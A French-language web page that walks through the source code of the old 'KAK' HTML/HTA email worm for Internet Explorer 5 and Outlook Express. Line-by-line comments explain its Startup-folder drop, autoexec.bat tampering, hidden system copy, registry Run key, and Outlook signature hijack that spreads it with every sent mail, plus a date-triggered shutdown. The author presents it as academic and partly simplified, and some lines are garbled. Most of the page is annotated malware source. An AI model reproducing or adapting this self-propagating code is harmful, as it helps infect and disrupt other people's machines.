Annalyse d’un virus HTML (kak) pour Netscape 4 (ou supérieur) & Microsoft Internet Explorer 5 (ou supérieur)

Le script de ce virus est vraiment fonctionnel et destructeur. Le code de ce virus est placé sur ce site à des fins académiques et devrait être utilisé comme tel. Je déconseille donc d’employer ce script (bien qu'i soit simplifié et donc inutilisable telquel).

Système d'infection

Cette partie du code du virus contient les informations nécessaire à la première infection de l'ordinateur, elle créé le fichier sous ce cadre-ci. Ce fichier est placé dans le répertoire démarrage de Windows et sera éxécuté au prochain démarrage du système.

<SCRIPT> <!-- Début du code du virus.
    function sErr() {
        return true; Fonction ne faisant rien
    }
    window.onerror = sErr; En cas d'erreur, on apelle la fonction qui ne fait rien
    scr.Reset() Ouverture d'un fichier
    scr.doc = CODE CI-DESSOUS Le contenu du fichier est le code ci-dessous
    la = (navigator.systemLanguage) ? navigator.systemLanguage : navigator.language; détection de la langue du navigateur internet
    scr.Path = (la == "fr") ? "C:\windows\Menu Démarrer\Programmes\Démarrage\kak.hta":"C:\windows\Start Menu\Programs\StartUp\kak.hta"; Le chemin d'acces est assigné en fonction de cette langue
    agt = navigator.userAgent.toLowerCase(); Détection de la version de l'explorateur
    if(((agt.indexOf("msie") != -1) && (parseInt(navigator.appVersion) > 4)) || (agt.indexOf("msie 5.") != -1)) Si cette version est suffisente
    scr.write() écriture du fichier
//--></SCRIPT> Fin du code

Fichier kak.hta

Ce cadre reprend la suite du code exécuté lors du démarrage de Windows. Au démarrage, le virus infecte l'autoexec.bat (un fichier qui est lancé avant le démarrage de Windows) de sorte que le virus s'efface lui même. Ensuite, il créé un fichier pour modifier la base de registres (voir le cadre du bas pour plus de détails). Il se crée aussi une copie de lui même (cette copie-ci sera effacée au prochain démarrage) qui sera ajoutée à chaque mail sortant d'outlook express, et finalement, si l'on est le 1er du mois à 17h, il fait un shutdown (éteind l'ordinateur).

Z Balise permetant pour la copie du virus
<HTML><HEAD> Indique le début d'un document HTML
    <TITLE>Driver Memory Error</TITLE> Titre bidon pour parraitre normal
    <HTA:APPLICATION ID="hO" WINDOWSTATE=Minimize> Démarre en réduit, pour parraitre moins suspect
</HEAD> Fin de l'entête HTML
    <BODY BGCOLOR=#CCCCCC> Début corps du document HTML
    <OBJECT ID='wsh' CLASSID='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></OBJECT>
    <SCRIPT> Réel début du virus
    function sEr() {
        self.close(); Fonction fermant la fenètre le l'explorateur internet
        return true;
    }
    window.onerror = sEr; en cas d'erreur, fermeture de la fenètre (par la fonction ci-dessus)
    fs = new ActiveXObject('Scripting.FileSystemObject');
    wd = 'C:\Windows\'; Répertoire de travail
    fl = fs.GetFolder(wd + 'Applic~1\Identities'); Lien vers les entités ActiveX du système
    sbf = fl.SubFolders; Liste les entités (sous répertoires)
    for(var mye = new Enumerator(sbf); !mye.atEnd(); mye.moveNext())
    idd = mye.item(); Positionnement sur la première entité libre
    ids = new String(idd); Création de la nouvelle entrée
    idn = ids.slice(31);
    fic = idn.substring(1,9);
    kfr = wd + 'MENUDé~1\PROGRA~1\DéMARR~1\kak.hta'; Chemin d'acces du fichier actuel sur un système français
    ken = wd + 'STARTM~1\Programs\StartUp\kak.hta'; idem en anglais
    k2 = wd + 'System\' + fic + '.hta'; création d'un fichier système
    kk = (fs.FileExists(kfr)) ? kfr:ken; teste si on est sur une version Français ou Anglaise
    aek = 'C:\AE.KAK'; Copie de autoexec.bat
    aeb = 'C:\Autoexec.bat';
    if(!fs.FileExists(aek)) { Teste si AE.KAK n'existe pas
        re = 'kak.hta';
        if (hO.commandLine.search(re)!=-1) { si kak.hta n'existe pas
            f1 = fs.GetFile(aeb); ouverture de autoexec.bat
            f1.Copy(aek); copie sur AE.KAK
            t1 = f1.OpenAsTextStream(8); Ouverture de autoexec.bat
            pth = (kk == kfr) ? wd + 'MENUDé~1\PROGRA~1\DéMARR~1\kak.hta' : ken; Chemin d'acces du fichier actuel
            t1.WriteLine('@echo off>' + pth);
            t1.WriteLine('del'+pth); efface le fichier actuel
            t1.Close(); Ferme l'autoexec.bat
        }
    }
    if(!fs.FileExists(k2)) { Si le fichier system du virus n'existe pas
        fs.CopyFile(kk,k2); Copie du fichier du Startup vers le fichier system
        fs.GetFile(k2).Attributes = 2; Change les permissions
    }
    t2 = fs.CreateTextFile(wd + 'kak.reg'); Créé le fichier kak.reg
    (...) Ecrit le contenu du fichier kak.reg (voir ci-dessous)
    t2.close(); Fermeture du fichier
    wsh.Run(wd + 'Regedit.exe -s' + wd + 'kak.reg'); Sauvegarde du fichier kak.reg dans la base de registres
    t3 = fs.CreateTextFile( wd + 'kak.htm', 1); créé un fichier kak.htm
    t3.Write(' Ecriture du fichier kak.htm
              <HTML><BODY>
              <DIV style = "POSITION:absolute; RIGHT:0px; TOP:-20px; Z-INDEX:5"> Ecriture de l'entête du fichier kak.htm
              <OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC id=scr><OBJECT>
              </DIV> ');
    t4 = fs.OpenTextFile(k2,1); Ouverture du fichier system, fichier source pour la copie
    while(t4.Read(1) != 'Z'); positionnement sur le Z
    t3.WriteLine('<SCRIPT><!--'); style='mso-tab-count:1'>
    t3.write('function sErr() { écriture du début du code (code du premier cadre)
                  return true;
              }
              window.onerror = sErr;
              scr.Reset();
              scr.doc = "Z
              ');
    rs = t4.Read(3095); Lecture de la suite du code du virus
    t4.close(); fermeture du fichier source
    rt = rs.replace('\\','\').replace(' " ',' \" ').replace(' <\/ ','</'); Remplacement des / et des " pour qu'il puisse continuer à s'autocopier
    t3.WriteLine(rt + '"; Ecriture du code du virus lu + code restant (cadre du haut)
                 la = (navigator.systemLanguage) ? navigator.systemLanguage:navigator.language;
                 scr.Path = (la == "fr") ? "C:\windows\Menu Démarrer\Programmes\Démarrage\kak.hta":"C:\windows\Start Menu\Programs\StartUp\kak.hta";
                 agt = navigator.user = Agent.toLowerCase();
                 if (((agt.indexOf("msie")!=-1) && (parseInt(navigator.appVersion)>4)) || agt.indexOf("msie5.") != -1))
                 scr.write();
                 ');
    t3.write('//--></SCRIPT></OBJECT><BODY></HTML>'); Ecriture des tags de fin de fichier HTML
    t3.close(); Fermeture de kak.htm
    fs.GetFile(wd + 'kak.htm').Attributes = 2; Changement des attributs de kak.htm
    fs.DeleteFile(wd + 'kak.reg'); Suppression de kak.reg
    d = new Date();
    if(d.getDate() == 1 && d.getHours() > 17) { Si la date correspond à ...
        alert('Kagou-Anti-Kro$oft says not today !'); Message
        wsh.Run(wd + 'RUNDLL32.EXE user.exe, exitwindows'); Shutdown de la machine
    }
    self.close(); Fermeture de la fenètre
    </SCRIPT>
S3 driver memory alloc failed &nbsp; !]]%%%%%
</BODY></HTML>;

Fichier kak.reg

Ce fichier sert à modifier la base de registres pour ajouter à chaque e-mail sortant le contenu de C:\WINDOWS\kak.htm (créé ci-dessus).

REGEDIT4
[HKEY_CURRENT_USER\Identities\référenceActiveX\Software\Microsoft\Outlook Express\5.0\signatures]
    "Default Signature" = "00000000"
[HKEY_CURRENT_USER\Identities\référenceActiveX\Software\Microsoft\Outlook Express\5.0\signatures\00000000] Signatures html pour Outlook Express 5.0
    "name" = "Signature" Nb : le code du fichier sera ajouté à chaque mail envoyé par Outlook Express
    "type" = dword:00000002
    "text" = ""
    "file" = "C:\WINDOWS\kak.htm" Nom du fichier
[HKEY_CURRENT_USER\Identities\référenceActiveX\Software\Microsoft\Outlook Express\5.0]
    "Signature Flags" = dword:00000003
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "cAg0u" = "C:\WINDOWS\SYSTEM\NomFichier.hta" Ouvre au démarrage le fichier hta créé

*** Visitez notre Sponsor ! ***
Membre de ClickFR, Reseau francophone Paie-Par-Click